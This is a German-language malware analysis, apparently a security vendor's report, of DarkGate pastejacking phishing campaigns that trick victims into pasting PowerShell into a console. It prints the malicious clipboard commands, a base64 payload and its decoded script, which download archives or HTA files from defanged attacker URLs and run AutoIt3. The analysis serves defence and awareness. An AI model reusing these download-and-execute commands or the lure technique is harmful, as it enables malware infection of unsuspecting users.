Darkgate Pastejacking – Eine Analyse und Aufschlüsselung der Angriffskette

Einleitung

Die Kampagne

Am 27. und 28. Mai wurden insgesamt 105.640 Phishing-E-Mails von 17 von Akteuren kontrollierten Domains gesendet.

Die E-Mails enthalten kurze Sätze, die ein Gefühl der Dringlichkeit oder Autorität erzeugen sollen und den Empfänger auffordern, den bösartigen Anhang unter dem Vorwand zu öffnen, ein Dokument überprüfen oder vervollständigen zu müssen. Diese Sätze zeigen klassische Phishing-Techniken, die häufig von Cyberkriminellen verwendet werden.

Aufgrund eines Ereignis-Listeners im Dokument wird beim Klicken auf einen Teil der Seite außerhalb des Fehlerfelds eine Warnung mit der folgenden Meldung angezeigt:

Fehler beim Herstellen einer Verbindung mit dem Clouddienst „OneDrive“.

Die Schaltfläche „Details“ leitet zur offiziellen Microsoft-Dokumentation zur Behebung von Problemen auf DNS-Servern weiter.

Wenn auf die Schaltfläche „Problembehebung“ (links) geklickt wird, wird eine neue Meldung angezeigt.

Konsole zu öffnen und den Inhalt der Zwischenablage einzufügen.

Wenn im Backend auf die Schaltfläche geklickt wird, wird die JJ-JavaScript-Funktion aufgerufen, die den Titelinhalt der Webseite, der zuvor von der atob-Funktion dekodiert wurde, dank der inzwischen veralteten exeCommand(„copy“)-Methode in die Zwischenablage kopiert. Diese Technik wird als Pastejacking bezeichnet.

ipconfig /flushdns
$base64 = "JGppID0gImh0dHBzOi8va29zdHVtbjEuaWxhYnNlcnZlci5jb20vMS56aXAiOw0KJG5lID0gI mM6XFxkb3dubG9hZHMiOw0KTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVB hdGggJG5lOw0KSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkamkgLU91dEZpbGUgJG5lXHBsLnppc DsNCkNsZWFyLUhvc3Q7DQpFeHBhbmQtQXJjaGl2ZSAkbmVccGwuemlwIC1Gb3JjZSAtZGVzdGl uYXRpb25wYXRoICRuZTsNClJlbW92ZS1JdGVtIC1QYXRoICRuZVxwbC56aXA7DQpTdGFydC1Qc m9jZXNzICRuZVxBdXRvaXQzLmV4ZSAkbmVcc2NyaXB0LmEzeA0KW1N5c3RlbS5SZWZsZWN0aW9 uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiU3lzdGVtLldpbmRvd3MuRm9ybXMiK TsNCltTeXN0ZW0uV2luZG93cy5Gb3Jtcy5NZXNzYWdlQm94XTo6U2hvdygiVGhlIG9wZXJhdGl vbiBjb21wbGV0ZWQgc3VjY2Vzc2Z1bGx5LCBwbGVhc2UgcmVsb2FkIHRoZSBwYWdlIiwgIlN5c 3RlbSIsIDAsIDY0KTsNCkNsZWFyLUhvc3Q7DQo=";
iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64Str ing($base64)));
Set-Clipboard -Value " ";
exit;

$ji = "hxxps://kostumn1.ilabserver.com/1.zip";
$ne = "c:\\downloads";
New-Item -ItemType Directory -Force -Path $ne;
Invoke-WebRequest -Uri $ji -OutFile $ne\pl.zip;
Clear-Host;
Expand-Archive $ne\pl.zip -Force -destinationpath $ne;
Remove-Item -Path $ne\pl.zip;
Start-Process $ne\Autoit3.exe $ne\script.a3x
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms");
[System.Windows.Forms.MessageBox]::Show("The operation completed
successfully, please reload the page", "System", 0, 64);
Clear-Host;

AutoIt3.exe ist die ausführbare Datei für die Skriptsprache AutoIt, die für die Automatisierung der Windows-GUI und der allgemeinen Skripterstellung entwickelt wurde. Wie bereits von Forschern dokumentiert, verwendet DarkGate häufig AutoIt-Skripte als Teil seiner anfänglichen Infektionsroutine.

Frühere Kampagnen

17. Mai

Am 17. Mai fand eine ähnliche Kampagne statt: Rund 43.600 Mails wurden von 11 von Akteuren kontrollierten Domains verschickt.

Ein Microsoft Office Word-Design wurde verwendet, um den Benutzer mit einem ähnlichen Ansatz auszutricksen.

cmd /c start /min powershell $jr = 'c:\users\public\Dp.hta';
invokewebrequest -uri hxxps://jenniferwelsh.com/header.png -outfile $jr;
startprocess $jr;Set-Clipboard -Value ' ';
exit;

Der in die Zwischenablage kopierte Befehl lädt ein PowerShell-Skript von hxxps://jenniferwelsh.com/header.png herunter und führt es aus. Das Skript wird in einer HTA-Datei gespeichert, die sich in c: befindet.

Dieses leicht verschleierte Skript lädt seine nächste Stufe von hxxps://mylittlecabbage.net/qhsddxna herunter, einem PowerShell-Skript, das eine ZIP-Datei von hxxp://mylittlecabbage.net/xcdttafq herunterlädt, die die ausführbare AutoIt3-Datei mit ihrem script.a3x enthält. Das Skript enthält auch eine spanische Zeichenfolge, die mit „Öffnen des Taschenrechners“ übersetzt werden kann.

8. Mai

2. Mai

Viktimologie

Schlussfolgerung

Diese Studie zeigt, wie umfänglich DarkGate-Malware weiterhin im Trend liegt und in der Cybersicherheitslandschaft aktiv genutzt wird. Trotz der laufenden Bemühungen, die Auswirkungen zu bekämpfen und abzumildern, hat DarkGate Widerstandsfähigkeit und Anpassungsfähigkeit bewiesen, indem es seine Präsenz in verschiedenen Angriffsvektoren (gefälschte Browser-Updates oder Teams-Nachrichten) aufrechterhalten hat und kreative Techniken nutzt, um seine Ziele zu erreichen.

Eine der effektivsten Möglichkeiten, sich gegen solche Bedrohungen zu schützen, ist die Durchführung von Sicherheitsschulungen der nächsten Generation für Endbenutzer über einen vertrauenswürdigen Dienst wie den Security Awareness Service von Hornetsecurity. In diesem Fall wären die Endbenutzer mit einer entsprechenden Sicherheitsschulung in der Lage, abnormale Anfragen (wie Pastejacking) in potenziell bösartigen E-Mails zu erkennen.

Indikatoren für Kompromittierung